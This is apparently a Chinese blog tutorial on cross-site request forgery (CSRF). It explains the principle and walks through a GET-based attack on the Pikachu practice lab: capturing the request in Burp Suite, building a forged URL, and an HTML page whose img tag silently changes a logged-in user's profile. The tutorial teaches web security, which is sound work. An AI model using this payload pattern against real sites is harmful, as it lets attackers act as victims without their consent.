CSRF：跨站请求伪造原理与实例

新手胡2024-07-16 8:07

原理：

[1] 现有a和b两个网站，其中a网站为受害者常用网站，网站内存在csrf漏洞。b网站为攻击者网站，存在恶意代码

[2] 当受害者登录a网站并保存了该网站的cookie，在未退出登录的情况下，点击攻击者发送的链接,跳转到攻击者所创建的网站

[3] 进入攻击者网站时，触发网站中的恶意代码，使攻击者，伪装成受害者所在网站的账户，进行操作

GET类型实例[pikachu]：

实现更改用户信息

1.登录lili用户

2.编辑用户信息并提交

3.由于提交过后会直接跳转，此处使用bp，抓包查看提交参数：在提交时断网也可在url中看见

4.复制接口地址,并拼接url

http://121.40.54.224:81/pikachu-master/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=lili\&phonenum=18656565545\&add=10ss\&email=lili%40pikachu.com\&submit=submit

5.编写前端脚本

使用img标签，使加载时携带指定参数向接口发送请求

html 复制代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <img src="http://121.40.54.224:81/pikachu-master/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=lili&phonenum=18656565545&add=10ss&email=lili%40pikachu.com&submit=submit">
</body>
</html>

6.访问攻击者网站，实现攻击

<1.用户点击链接

<2.进入网站，触发图片加载，向接口发送请求，实现修改数据

用户正常使用与攻击者网页发送的请求，进行cookie的比较，其cookie值相同